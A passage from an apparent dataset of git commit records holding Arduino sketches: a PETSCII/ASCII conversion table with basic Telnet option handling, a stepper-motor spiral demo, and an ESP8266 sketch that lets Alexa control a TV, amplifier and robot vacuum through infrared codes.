0d6f1817-ed0e-0410-87c9-987e46238f29\n","repos":"bozimmerman\/Zimodem,bozimmerman\/Zimodem","old_file":"zimodem\/pet2asc.ino","new_file":"zimodem\/pet2asc.ino","new_contents":"\/\/ courtesy Craig Bruce, 1995\n\nunsigned char petToAscTable[256] = {\n0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x14,0x09,0x0d,0x11,0x93,0x0a,0x0e,0x0f,\n0x10,0x0b,0x12,0x13,0x08,0x15,0x16,0x17,0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,\n0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2a,0x2b,0x2c,0x2d,0x2e,0x2f,\n0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3a,0x3b,0x3c,0x3d,0x3e,0x3f,\n0x40,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6a,0x6b,0x6c,0x6d,0x6e,0x6f,\n0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7a,0x5b,0x5c,0x5d,0x5e,0x5f,\n0xc0,0xc1,0xc2,0xc3,0xc4,0xc5,0xc6,0xc7,0xc8,0xc9,0xca,0xcb,0xcc,0xcd,0xce,0xcf,\n0xd0,0xd1,0xd2,0xd3,0xd4,0xd5,0xd6,0xd7,0xd8,0xd9,0xda,0xdb,0xdc,0xdd,0xde,0xdf,\n0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8a,0x8b,0x8c,0x8d,0x8e,0x8f,\n0x90,0x91,0x92,0x0c,0x94,0x95,0x96,0x97,0x98,0x99,0x9a,0x9b,0x9c,0x9d,0x9e,0x9f,\n0xa0,0xa1,0xa2,0xa3,0xa4,0xa5,0xa6,0xa7,0xa8,0xa9,0xaa,0xab,0xac,0xad,0xae,0xaf,\n0xb0,0xb1,0xb2,0xb3,0xb4,0xb5,0xb6,0xb7,0xb8,0xb9,0xba,0xbb,0xbc,0xbd,0xbe,0xbf,\n0x60,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,\n0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x7b,0x7c,0x7d,0x7e,0x7f,\n0xa0,0xa1,0xa2,0xa3,0xa4,0xa5,0xa6,0xa7,0xa8,0xa9,0xaa,0xab,0xac,0xad,0xae,0xaf,\n0xb0,0xb1,0xb2,0xb3,0xb4,0xb5,0xb6,0xb7,0xb8,0xb9,0xba,0xbb,0xbc,0xbd,0xbe,0xbf\n};\n\nunsigned char ascToPetTable[256] = {\n0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x14,0x20,0x0d,0x11,0x93,0x0a,0x0e,0x0f,\n0x10,0x0b,0x12,0x13,0x08,0x15,0x16,0x17,0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,\n0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2a,0x2b,0x2c,0x2d,0x2e,0x2f,\n0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3a,0x3b,0x3c,0x3d,0x3e,0x3f,\n0x40,0xc1,0xc2,0xc3,0xc4,0xc5,0xc6,0xc7,0xc8,0xc9,0xca,0xcb,0xcc,0xcd,0xce,0xcf,\n0xd0,0xd1,0xd2,0xd3,0xd4,0xd5,0xd6,0xd7,0xd8,0xd9,0xda,0x5b,0x5c,0x5d,0x5e,0x5f,\n0xc0,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,\n0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0xdb,0xdc,0xdd,0xde,0xdf,\n0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8a,0x8b,0x8c,0x8d,0x8e,0x8f,\n0x90,0x91,0x92,0x0c,0x94,0x95,0x96,0x97,0x98,0x99,0x9a,0x9b,0x9c,0x9d,0x9e,0x9f,\n0xa0,0xa1,0xa2,0xa3,0xa4,0xa5,0xa6,0xa7,0xa8,0xa9,0xaa,0xab,0xac,0xad,0xae,0xaf,\n0xb0,0xb1,0xb2,0xb3,0xb4,0xb5,0xb6,0xb7,0xb8,0xb9,0xba,0xbb,0xbc,0xbd,0xbe,0xbf,\n0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6a,0x6b,0x6c,0x6d,0x6e,0x6f,\n0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7a,0x7b,0x7c,0x7d,0x7e,0x7f,\n0xe0,0xe1,0xe2,0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9,0xea,0xeb,0xec,0xed,0xee,0xef,\n0xf0,0xf1,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8,0xf9,0xfa,0xfb,0xfc,0xfd,0xfe,0xff\n};\n\n#define TELNET_BINARY 0 \n \/** TELNET CODE: echo *\/\n#define TELNET_ECHO 1 \n \/** TELNET CODE: echo *\/\n#define TELNET_LOGOUT 18 \n \/** TELNET CODE: supress go ahead*\/\n#define TELNET_SUPRESS_GO_AHEAD 3 \n \/** TELNET CODE: sending terminal type*\/\n#define TELNET_TERMTYPE 24 \n \/** TELNET CODE: Negotiate About Window Size.*\/\n#define TELNET_NAWS 31 \n \/** TELNET CODE: Remote Flow Control.*\/\n#define TELNET_TOGGLE_FLOW_CONTROL 33 \n \/** TELNET CODE: Linemode*\/\n#define TELNET_LINEMODE 34 \n \/** TELNET CODE: MSDP protocol*\/\n#define TELNET_MSDP 69 \n \/** TELNET CODE: MSSP Server Status protocol*\/\n#define TELNET_MSSP 70 \n \/** TELNET CODE: text compression, protocol 1*\/\n#define TELNET_COMPRESS 85 \n \/** TELNET CODE: text compression, protocol 2*\/\n#define TELNET_COMPRESS2 86 \n \/** TELNET CODE: MSP SOund protocol*\/\n#define TELNET_MSP 90 \n \/** TELNET CODE: MXP Extended protocol*\/\n#define TELNET_MXP 91 \n \/** TELNET CODE: AARD protocol*\/\n#define TELNET_AARD 102 \n \/** TELNET CODE: End of subnegotiation parameters*\/\n#define TELNET_SE 240 \n \/** TELNET CODE: Are You There*\/\n#define TELNET_AYT 246 \n \/** TELNET CODE: Erase character*\/\n#define TELNET_EC 247 \n \/** TELNET CODE: ATCP protocol*\/\n#define TELNET_ATCP 200 \n \/** TELNET CODE: GMCP protocol*\/\n#define TELNET_GMCP 201 \n \/** TELNET CODE: Indicates that what follows is subnegotiation of the indicated option*\/\n#define TELNET_SB 250 \n \/** TELNET CODE: Indicates the desire to begin performing, or confirmation that you are now performing, the indicated option*\/\n#define TELNET_WILL 251 \n \/** TELNET CODE: Indicates the refusal to perform, or continue performing, the indicated option*\/\n#define TELNET_WONT 252 \n \/** TELNET CODE: Indicates the request that the other party perform, or confirmation that you are expecting the other party to perform, the indicated option*\/\n#define TELNET_DO 253 \n \/** TELNET CODE: 253 doubles as fake ansi telnet code*\/\n#define TELNET_ANSI 253 \n \/** TELNET CODE: Indicates the demand that the other party stop performing, or confirmation that you are no longer expecting the other party to perform, the indicated option.*\/\n#define TELNET_DONT 254 \n \/** TELNET CODE: Indicates that the other party can go ahead and transmit -- I'm done.*\/\n#define TELNET_GA 249 \n \/** TELNET CODE: Indicates that there is nothing to do?*\/\n#define TELNET_NOP 241 \n \/** TELNET CODE: IAC*\/\n#define TELNET_IAC 255 \n\nchar handleAsciiIAC(char c, Stream *stream)\n{\n if(c == 255)\n {\n c=stream->read();\n if(c==TELNET_IAC)\n return 255;\n if((c==TELNET_WILL)||(c==TELNET_WONT))\n {\n char what=stream->read();\n uint8_t iacDont[] = {TELNET_IAC, TELNET_DONT, what};\n stream->write(iacDont,3);\n return 0;\n }\n if((c==TELNET_DO)||(c==TELNET_DONT))\n {\n char what=stream->read();\n return 0;\n }\n return 0;\n }\n return c;\n}\n\nchar petToAsc(char c, Stream *stream)\n{\n return petToAscTable[c];\n}\n\nchar ascToPet(char c, Stream *stream)\n{\n return ascToPetTable[c];\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'zimodem\/pet2asc.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e4f65dfd39c105169d200e2d5dd0af76593e9411","subject":"Add early version of ship station demonstration software for OSU Expo","message":"Add early version of ship station demonstration software for OSU Expo\n","repos":"LBCC-SpaceClub\/HAB2017,LBCC-SpaceClub\/HAB2017,LBCC-SpaceClub\/HAB2017","old_file":"shipStation\/stepper_demo\/stepper_demo.ino","new_file":"shipStation\/stepper_demo\/stepper_demo.ino","new_contents":"#include <AccelStepper.h>\n#include <MultiStepper.h>\n#include <math.h>\n\n\/* Written for ST6600 stepper driver\n * PUL+ 5v\n * PUL- Arduino pin 9\/11\n * DIR+ 5v\n * DIR- Arduino pin 8\/10\n * DC+ 24v power supply\n * DC- Gnd on power supply & Gnd on Arduino\n *\/\n\n\/\/ Each step is 0.12 degrees, or 0.002094395 radians\n#define STEPANGLE 0.002094395\n#define PI 3.1415926535897932384626433832795\n\nAccelStepper xAxis(1,8,9);\nAccelStepper yAxis(1,10,11);\nMultiStepper steppers;\n\nlong positions[2]; \/\/ x, y\nfloat angle = 0; \/\/ Radians, used to find x,y on a circle\nlong centerX = 0; \/\/ May be useful later\nlong centerY = 0;\nlong radius = 100;\n\nvoid setup()\n{\n \/\/ Initialize pins\n pinMode(8, OUTPUT); \/\/ x direction pin\n pinMode(9, OUTPUT); \/\/ x step pin\n pinMode(10, OUTPUT); \/\/ y direction pin\n pinMode(11, OUTPUT); \/\/ y step pin\n\n Serial.begin(115200);\n \n \/\/ Adjust these values after seeing it in action.\n xAxis.setMaxSpeed(300);\n xAxis.setAcceleration(100);\n yAxis.setMaxSpeed(300);\n yAxis.setAcceleration(100);\n\n \/\/ Add individual steppers to the multistepper object\n steppers.addStepper(xAxis);\n steppers.addStepper(yAxis);\n}\n\nvoid updatePos(float degs)\n{\n \/\/ Moves to a point on a circle, based on radius and angle\n \/\/ Blocks until finished\n float rads = degs * PI \/ 180;\n positions[0] = radius*cos(rads)+centerX; \/\/ x\n positions[1] = radius*sin(rads)+centerY; \/\/ y\n Serial.print(\"Deg = \");\n Serial.print(degs);\n Serial.print(\", \");\n Serial.print(positions[0]);\n Serial.print(\", \");\n Serial.print(positions[1]);\n Serial.println(\".\");\n steppers.moveTo(positions);\n steppers.runSpeedToPosition(); \n}\n\nvoid loop()\n{\n \/\/ Spiral outwards\n for(int degs=0; degs<360; degs++){\n updatePos(degs);\n radius += 10;\n }\n\n \/\/ Spiral inwards\n for(int degs=360; degs>0; degs--){\n updatePos(degs);\n radius -= 10;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'shipStation\/stepper_demo\/stepper_demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9ad5fb125d55a003ff3265b509a75f719cab630d","subject":"Sketch for Arduio Witty","message":"Sketch for Arduio Witty","repos":"tvixen\/Wemo-for-Alexa","old_file":"IRsenderForAlexa-5.ino","new_file":"IRsenderForAlexa-5.ino","new_contents":"\/* \n This sketch uses Ken Shirriff's *awesome* IRremote library:\n https:\/\/github.com\/shirriff\/Arduino-IRremote\n Updated by Mark Szabo to IRsend class to work on ESP8266 and \n Sebastien Warin the receiving & decoding part (IRrecv class).\n \n This sketch uses the IR codes to transmit the commands for\n 1. Samsung TV\n 2. Marantz Amplifier\n 3. Miele VaccumCleaner \n \n Some IR codes are RC5 and some are RAW.\n \n Wifi part (Witty) ESP8266 will receive commands from Alexa and parse them to the IR remote part.\n My code will use some of the code in these files:\n http:\/\/www.makermusings.com\/2015\/07\/18\/virtual-wemo-code-for-amazon-echo\/ and \n https:\/\/github.com\/kakopappa\/arduino-esp8266-alexa-multiple-wemo-switch and IRremote8266 from\n https:\/\/github.com\/markszabo\/IRremoteESP8266\n\n 1. You should ask \"Alexa discover devices\"\n 2. She should find x amount of devices macthing your setup + the ones in the house\n 3. Ask \"Alexa, turn on Samsung T.V.\"\n 4. Ask \"Alexa, turn off Samsung T.V.\"\n 5. Use the Alexa invocation name under define switches \n----------------------------------------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------\n19\/12-2016 Update \nAdded Amplifier code\n20\/12-2016 Update \nAdded Vaccum code\nAdded new name to project \"IRsenderForAlexa.ino\"\nSerial TX will be replaced with other names called via Wifi,as this aurdino will serve as a webserver.\nOr it will be communicating via a RF2401 module.\n23\/12-2016 Update\nTested Vacuum code. Works perfect.\nMoved delay() from loop into bottom of send part.\n31\/12-2016 Update\nNew Wifi module code pasted. \nNew name added: IRsenderForAlexa-2 \n2\/1-2017 Update\nAdded new Library. IRremoteESP8266.h whiich can make IRremote codes with ESP8266\nAdded pin numbers\nAdded RemoteTV \n4\/1-2017 Update\nCodes is working. Samsung power on\/off\nadded invocation name: Samsung TV,TV Channel,TV Volume,TV Channel one,Amplifier, Amplifier Volume aso....\n5\/1-2017 Update\nNew name added: IRsenderForAlexa-5 \n *\/\n\n\n#include <ESP8266WiFi.h>\n#include <ESP8266WebServer.h>\n#include <WiFiUdp.h>\n#include <functional>\n#include \"switch.h\"\n#include \"UpnpBroadcastResponder.h\"\n#include \"CallbackFunction.h\"\n#include <IRremoteESP8266.h> \/\/ Include the IRremote library for ESP8266\nIRsend irsend(0); \/\/ Enables IR transmit LED (pin 9 on Mega) an IR led is connected to GPIO pin 0\n\nint Indicator_PIN = 15; \/\/ Red indicator sender LED \nint Blue_LED = 13;\nint Green_LED = 12;\n\n\/\/ int incomingByte = 'z'; \/\/ Incomming data from serial input (debug screen). Init to 'z' (decimal value for z) \n\n\/\/ prototypes\nboolean connectWifi();\n\n\/*\/Declare on\/off callbacks *\/\n\/* Declare Samsung TV callbacks (on-off) *\/\nvoid SamsungTVOn(); \/\/Samsung TV toggle ON\/OFF\nvoid SamsungTVOff(); \/\/Samsung TV toggle ON\/OFF\nvoid SamsungMuteOn(); \/\/Samsung TV Mute\nvoid SamsungChannelUp(); \/\/Samsung TV Channal up\nvoid SamsungChannelDown(); \/\/Samsung TV Channal Down\nvoid SamsungVolumeUp(); \/\/Samsung TV Volume up\nvoid SamsungVolumeDown(); \/\/Samsung TV Volume down\nvoid SamsungCH1On(); \/\/Samsung TV Ch 1\nvoid SamsungCH2On(); \/\/Samsung TV Ch 2\nvoid SamsungCH3On(); \/\/Samsung TV Ch 3\n\n\n\/* Declare Marantz callbacks (on-off) *\/\nvoid AmplifierOn(); \/\/Amplifier ON\nvoid AmplifierOff(); \/\/Amplifier OFF\nvoid AmplifierVolumeUp(); \/\/Amplifier volume up\nvoid AmplifierVolumeDown(); \/\/Amplifier volume down\nvoid AmplifierAuxOn(); \/\/Amplifier Aux input\nvoid AmplifierTunerOn(); \/\/Amplifier Tuner input\nvoid AmplifierTvOn(); \/\/Amplifier TV input\nvoid AmplifierDVDOn(); \/\/Amplifier DVD input\nvoid AmplifierScourceUp(); \/\/Amplifier Source up\nvoid AmplifierScourceDown(); \/\/Amplifier Source down\nvoid AmplifierMuteOn(); \/\/Amplifier Mute toggle\nvoid AmplifierMuteOff(); \/\/Amplifier Mute toggle\n\n\/* Declare Mile callbacks (on-off) *\/\nvoid VacuumCleanerOn(); \/\/Vaccum Cleaner toggle ON\nvoid VacuumCleanerCornerOn(); \/\/Corners ON\nvoid VacuumCleanerGoOn(); \/\/Go Go Go\nvoid VacuumCleanerBaseOn(); \/\/Return to home\n\n\n\/\/ Change this before you flash\nconst char* ssid = \"Your Wifi Name\"; \nconst char* password = \"Your Wifi Code\";\nboolean wifiConnected = false;\nUpnpBroadcastResponder upnpBroadcastResponder;\n\n\/\/Define switches for TV\nSwitch *SamsungTV = NULL; \nSwitch *SamsungMute = NULL; \nSwitch *SamsungChannel = NULL; \nSwitch *SamsungVolume = NULL; \nSwitch *SamsungCH1 = NULL; \nSwitch *SamsungCH2 = NULL; \nSwitch *SamsungCH3 = NULL; \n\n\/\/Define switches for Amplifier\nSwitch *Amplifier = NULL; \nSwitch *AmplifierVolume = NULL; \nSwitch *AmplifierAux = NULL; \nSwitch *AmplifierTuner = NULL; \nSwitch *AmplifierTv = NULL; \nSwitch *AmplifierDVD = NULL; \nSwitch *AmplifierScource = NULL; \nSwitch *AmplifierMute = NULL; \n\n\/\/Define switches for Miele Hoover\nSwitch *VacuumCleaner = NULL; \nSwitch *VacuumCleanerCorner = NULL; \nSwitch *VacuumCleanerGo = NULL; \nSwitch *VacuumCleanerBase = NULL; \n\n\/* \nLDR = A0;\nD0 GPIO 16\nD1 GPIO 5 \nD2 GPIO 4 Pushbutton\nD3 GPIO 0 To IR transmitter\nD4 GPIO 2\nD5 GPIO 14\nD6 GPIO 12 Green LED\nD7 GPIO 13 Blue LED\nD8 GPIO 15 Red LED\n \n*\/\n\nvoid setup()\n{\n Serial.begin(115200); \/\/ Initial for ESP8266\n \/\/Serial.begin(9600); \/\/this was initial for the IR part\n \n \/\/ Initialise wifi connection\n wifiConnected = connectWifi();\n \n if(wifiConnected){\n upnpBroadcastResponder.beginUdpMulticast();\n \n \/* Define your switches here. Max 14\n * Format: Alexa invocation name, local port no, on callback, off callback *\/\n \/* TV switches *\/\n SamsungTV = new Switch(\"Samsung T.V.\", 80, SamsungTVOn, SamsungTVOn); \/\/Samsung on\/off\n SamsungMute = new Switch(\"Samsung T.V Mute\", 81, SamsungMuteOn, SamsungMuteOn); \/\/Samsung Mute toggle\n SamsungChannel = new Switch(\"Samsung T.V. Channel\", 82, SamsungChannelUp, SamsungChannelDown);\/\/Samsung Channel up and down\n SamsungVolume = new Switch(\"Samsung T.V. Volume\", 83, SamsungVolumeUp, SamsungVolumeDown); \/\/Samsung volume up and down\n SamsungCH1 = new Switch(\"TV Channel one\", 84, SamsungCH1On, SamsungCH1On); \/\/Samsung Channel 1 on\n SamsungCH2 = new Switch(\"TV Channel two\", 85, SamsungCH2On, SamsungCH2On); \/\/Samsung Channel 2 on\n SamsungCH3 = new Switch(\"TV Channel tree\", 86, SamsungCH3On, SamsungCH3On); \/\/Samsung Channel 3 on\n \/* Marantz switches *\/\n Amplifier = new Switch(\"Amplifier\", 87, AmplifierOn, AmplifierOff); \/\/Amplifier on\/off\n AmplifierVolume = new Switch(\"Amplifier volume\", 88, AmplifierVolumeUp, AmplifierVolumeDown); \/\/Amplifier volume up\/down\n AmplifierAux = new Switch(\"Amplifier aux\", 89, AmplifierAuxOn, AmplifierAuxOn); \/\/Amplifier Aux on\n AmplifierTuner = new Switch(\"Amplifier tuner\", 90, AmplifierTunerOn, AmplifierTunerOn); \/\/Amplifier Tuner on\n AmplifierTv = new Switch(\"Amplifier T.V.\", 91, AmplifierTvOn, AmplifierTvOn); \/\/Amplifier TV on\n AmplifierDVD = new Switch(\"Amplifier d.v.d.\", 92, AmplifierDVDOn, AmplifierDVDOn); \/\/Amplifier DVD on\n AmplifierScource = new Switch(\"Amplifier\", 93, AmplifierScourceUp, AmplifierScourceDown); \/\/Amplifier Scounce up\/down\n AmplifierMute = new Switch(\"Amplifier mute\", 94, AmplifierMuteOn, AmplifierMuteOff); \/\/Amplifier Mute on\/off\n \/* Mile switches *\/\n VacuumCleaner = new Switch(\"VacuumCleaner\", 95, VacuumCleanerOn, VacuumCleanerOn); \/\/Amplifier Mute toggle on\/off\n VacuumCleanerCorner = new Switch(\"VacuumCleanerCorner\", 96, VacuumCleanerCornerOn, VacuumCleanerCornerOn);\n VacuumCleanerGo = new Switch(\"VacuumCleanerGo\", 97, VacuumCleanerGoOn, VacuumCleanerGoOn);\n VacuumCleanerBase = new Switch(\"VacuumCleanerBase\", 98, VacuumCleanerBaseOn, VacuumCleanerBaseOn);\n\n\n Serial.println(\"Adding switches upnp broadcast responder\");\n \n upnpBroadcastResponder.addDevice(*SamsungTV);\n upnpBroadcastResponder.addDevice(*SamsungMute);\n upnpBroadcastResponder.addDevice(*SamsungChannel);\n upnpBroadcastResponder.addDevice(*SamsungVolume);\n upnpBroadcastResponder.addDevice(*SamsungCH1);\n upnpBroadcastResponder.addDevice(*SamsungCH2);\n upnpBroadcastResponder.addDevice(*SamsungCH3);\n \n upnpBroadcastResponder.addDevice(*Amplifier);\n upnpBroadcastResponder.addDevice(*AmplifierVolume);\n upnpBroadcastResponder.addDevice(*AmplifierAux);\n upnpBroadcastResponder.addDevice(*AmplifierTuner);\n upnpBroadcastResponder.addDevice(*AmplifierTv);\n upnpBroadcastResponder.addDevice(*AmplifierDVD);\n upnpBroadcastResponder.addDevice(*AmplifierScource);\n upnpBroadcastResponder.addDevice(*AmplifierMute);\n\n upnpBroadcastResponder.addDevice(*VacuumCleaner);\n upnpBroadcastResponder.addDevice(*VacuumCleanerCorner);\n upnpBroadcastResponder.addDevice(*VacuumCleanerGo);\n upnpBroadcastResponder.addDevice(*VacuumCleanerBase);\n \n \/\/Set LED pins to outputs\n pinMode(12,OUTPUT); \/\/Green\n pinMode(13,OUTPUT); \/\/Blue\n pinMode(14,OUTPUT); \/\/Not in use \n pinMode(15,OUTPUT); \/\/Red sender indicator\n pinMode(0,OUTPUT); \/\/ IR diode transmitter\n\n digitalWrite(0, LOW);\/\/Init for PIN0\n digitalWrite(Green_LED, HIGH); \/\/ Setup was OK\n }\n}\n \nvoid loop()\n{\n\t if(wifiConnected){\n upnpBroadcastResponder.serverLoop();\n \n SamsungTV->serverLoop();\n SamsungMute->serverLoop();\n SamsungChannel->serverLoop();\n SamsungVolume->serverLoop();\n SamsungCH1->serverLoop();\n SamsungCH2->serverLoop();\n SamsungCH3->serverLoop();\n\n Amplifier->serverLoop();\n AmplifierVolume->serverLoop();\n AmplifierAux->serverLoop();\n SamsungVolume->serverLoop();\n AmplifierTuner->serverLoop();\n AmplifierTv->serverLoop();\n AmplifierDVD->serverLoop();\n AmplifierScource->serverLoop();\n AmplifierMute->serverLoop();\n\n VacuumCleaner->serverLoop();\n VacuumCleanerCorner->serverLoop();\n VacuumCleanerGo->serverLoop();\n VacuumCleanerBase->serverLoop();\n\t }\n \/\/SerialCase(); \/\/ check input from serialTX and go to IR part\n}\n\n\/\/ Here comes the IR part\n\/\/ Input from serial TX, and case sorting by the input number.\nvoid SerialCase(int ValueforIRcodes)\n{\n\/\/SAMSUNG CODES\n#define POWER 0xE0E040BF \n#define Mute 0xE0E0FFFF \/\/Not confirmed\n#define CH_UP 0xE0E048B7 \n#define CH_DOWN 0xE0E008F7 \n#define VOL_UP 0xE0E0E01F \n#define VOL_DOWN 0xE0E0D02F \n#define CH0 0xE0E0FFFF \/\/Not confirmed\n#define CH1 0xE0E020DF \n#define CH2 0xE0E0A05F\n#define CH3 0xE0E0609F\n#define CH4 0xE0E010EF\n#define CH5 0xE0E0906F\n#define CH6 0xE0E050AF\n#define CH7 0xE0E030CF\n#define CH8 0xE0E0B04F\n#define CH9 0xE0E0708F\n#define SAMSUNG_BITS 32 \n\n\/\/MARANTS CODES\n#define POWER_ON 0xC0C\n#define POWER_OFF 0x40C\n#define VOL_UP 0x410\n#define VOL_DOWN 0x411\n\/\/#define AUX RAW\n\/\/#define TUNER RAW\n#define TV 0x17F \n\/\/#define DVD RAW\n\/\/#define SOURCE_UP RAW\n\/\/#define SOURCE_DOWN RAW\n#define MUTE_ON 0xC0D\n#define MUTE_OFF 0x40D\n\n\/\/ MIELE CODES\n#define VacuumPOWER_ON 0x807FE01F\n#define VacuumCorner 0x807F708F\n#define VacuumGO 0x807F20DF\n#define VacuumBase 0x807F609F\n#define MIELE_BITS 32 \n\n \n digitalWrite(Green_LED, LOW); \/\/ Turn off the green LED\n digitalWrite(Indicator_PIN, HIGH);\n \/\/ Heres all the cases with the RemoteCodes\n \n switch (ValueforIRcodes) \n {\n case '1':\n {\n Serial.println(\"TV ON\/OFF, sending\");\n irsend.sendSAMSUNG(POWER, SAMSUNG_BITS); \n }\n break;\n case '2': \n {\n Serial.println(\"TV Mute, sending\");\n irsend.sendSAMSUNG(Mute, SAMSUNG_BITS); \n }\n break;\n case '3':\n {\n Serial.println(\"TV CH_UP, sending\");\n irsend.sendSAMSUNG(CH_UP, SAMSUNG_BITS); \n }\n break;\n case '4':\n {\n Serial.println(\"TV CH_DOWN, sending\");\n irsend.sendSAMSUNG(CH_DOWN, SAMSUNG_BITS); \n }\n break;\n case '5':\n {\n Serial.println(\"TV VOL_UP, sending\");\n irsend.sendSAMSUNG(VOL_UP, SAMSUNG_BITS); \n }\n break;\n case '6':\n {\n Serial.println(\"TV VOL_DOWN, sending\");\n irsend.sendSAMSUNG(VOL_DOWN, SAMSUNG_BITS); \n }\n break;\n case '7':\n {\n Serial.println(\"TV CH1, sending\");\n irsend.sendSAMSUNG(CH1, SAMSUNG_BITS); \n }\n break;\n case '8':\n {\n Serial.println(\"TV CH2, sending\");\n irsend.sendSAMSUNG(CH2, SAMSUNG_BITS); \n }\n break;\n case '9':\n {\n Serial.println(\"TV CH3, sending\");\n irsend.sendSAMSUNG(CH3, SAMSUNG_BITS); \n }\n break;\n case '0':\n {\n Serial.println(\"TV CH4, sending\");\n irsend.sendSAMSUNG(CH4, SAMSUNG_BITS); \n }\n break;\n case '!':\n {\n Serial.println(\"TV CH5, sending\");\n irsend.sendSAMSUNG(CH5, SAMSUNG_BITS); \n }\n break;\n case '#':\n {\n Serial.println(\"TV CH6, sending\");\n irsend.sendSAMSUNG(CH6, SAMSUNG_BITS); \n }\n break;\n case '\u00a4': \n {\n Serial.println(\"TV CH7, sending\");\n irsend.sendSAMSUNG(CH7, SAMSUNG_BITS); \n }\n break;\n case '%': \n {\n Serial.println(\"TV CH8, sending\");\n irsend.sendSAMSUNG(CH8, SAMSUNG_BITS); \n }\n break;\n case '&': \n {\n Serial.println(\"TV CH9, sending\");\n irsend.sendSAMSUNG(CH9, SAMSUNG_BITS); \n }\n break;\n case '\/': \n {\n Serial.println(\"TV CH10, sending\");\n irsend.sendSAMSUNG(CH1, SAMSUNG_BITS); \n delay(50); \n irsend.sendSAMSUNG(CH0, SAMSUNG_BITS); \n }\n break;\n \n case 'a':\n {\/\/Marantz On\n Serial.println(\"Amp ON, sending\");\n irsend.sendRC5(POWER_ON, 12);\n delay(50); \n irsend.sendRC5(POWER_ON, 12);\n } \n break;\n case 'b':\n { \/\/Marantz Off\n Serial.println(\"Amp OFF, sending\");\n irsend.sendRC5(POWER_OFF, 12);\n }\n break;\n case 'c':\n { \/\/Marantz VOL_UP\n Serial.println(\"Amp VOL+, sending\");\n irsend.sendRC5(VOL_UP, 12);\n }\n break;\n case 'd':\n { \/\/Marantz VOL_DOWN\n Serial.println(\"Amp Vol-, sending\");\n irsend.sendRC5(VOL_DOWN, 12);\n }\n break;\n case 'e':\n {\/\/ Marantz Aux2 [unsigned int = kun positive tal]\n unsigned int RawIrData[] ={900,850, 900,850, 850,900, 1750,850, 900,850, 900,850, 900,4350, 900,850, 850,850, 900,900, 850,900, 850,900, 850,900, 850,900, 850,850, 900,1750, 850,850, 900,850, 900};\n Serial.println(\"Amp Aux2, sending\");\n irsend.sendRaw(RawIrData, sizeof(RawIrData)\/sizeof(int), 38);\n delay(50);\n irsend.sendRaw(RawIrData, sizeof(RawIrData)\/sizeof(int), 38);\n }\n break;\n case 'f':\n {\/\/ Marantz Tuner\n unsigned int RawIrData[] ={900,850, 900,850, 900,850, 1750,850, 900,850, 900,1700, 900,850, 900,850, 900,850, 900,850, 900,850, 900,850, 900};\n Serial.println(\"Amp Tuner, sending\");\n irsend.sendRaw(RawIrData, sizeof(RawIrData)\/sizeof(int), 38);\n delay(50);\n irsend.sendRaw(RawIrData, sizeof(RawIrData)\/sizeof(int), 38);\n }\n break;\n case 'g':\n {\/\/ Marantz TV scource \n Serial.println(\"Amp TV, sending\");\n irsend.sendRC5(TV, 12);\n } \n break;\n case 'h':\n {\/\/ Marantz DVD scource \n unsigned int RawIrData[] ={800, 950, 800, 950, 800, 1000, 1650, 950, 800, 950, 750, 1000, 750, 4450, 800, 950, 800, 950, 800, 1000, 750, 950, 800, 950, 800, 950, 800, 950, 800, 1800, 1650, 1850, 1650};\n Serial.println(\"Amp DVD, sending\");\n irsend.sendRaw(RawIrData, sizeof(RawIrData)\/sizeof(int), 38);\n delay(50);\n irsend.sendRaw(RawIrData, sizeof(RawIrData)\/sizeof(int), 38);\n } \n break;\n case 'i': \n { \/\/Marantz SCOURCE_UP \n unsigned int RawIrData[] ={900,850, 900,850, 900,850, 1750,850, 900,850, 900,850, 900,4350, 900,850, 900,850, 900,850, 850,850, 900,850, 900,850, 900,850, 900,1750, 850,850, 1800,1700, 900};\n Serial.println(\"Amp SCOURCE+, sending\");\n irsend.sendRaw(RawIrData, sizeof(RawIrData)\/sizeof(int), 38);\n }\n break;\n case 'j':\n { \/\/Marantz SCOURCE_DOWN \n unsigned int RawIrData[] = {900,850, 900,850, 900,850, 1750,850, 900,850, 900,850, 900,4350, 900,850, 900,850, 900,850, 900,850, 900,850, 900,850, 900,850, 900,1700, 900,850, 900,850, 1750}; \n Serial.println(\"Amp SCOURCE-, sending\");\n irsend.sendRaw(RawIrData, sizeof(RawIrData)\/sizeof(int), 38);\n }\n break; \n case 'k':\n { \/\/Marantz MUTE_ON \/Toggle \n Serial.println(\"Amp Mute_On, sending\");\n irsend.sendRC5(MUTE_ON, 12);\n }\n break;\n case 'l':\n { \/\/Marantz MUTE_OFF\n Serial.println(\"Amp Mute_Off, sending\");\n irsend.sendRC5(MUTE_OFF, 12);\n }\n break;\n case 'o':\n {\n Serial.println(\"VacuumCleaner ON\/OFF, sending\");\n 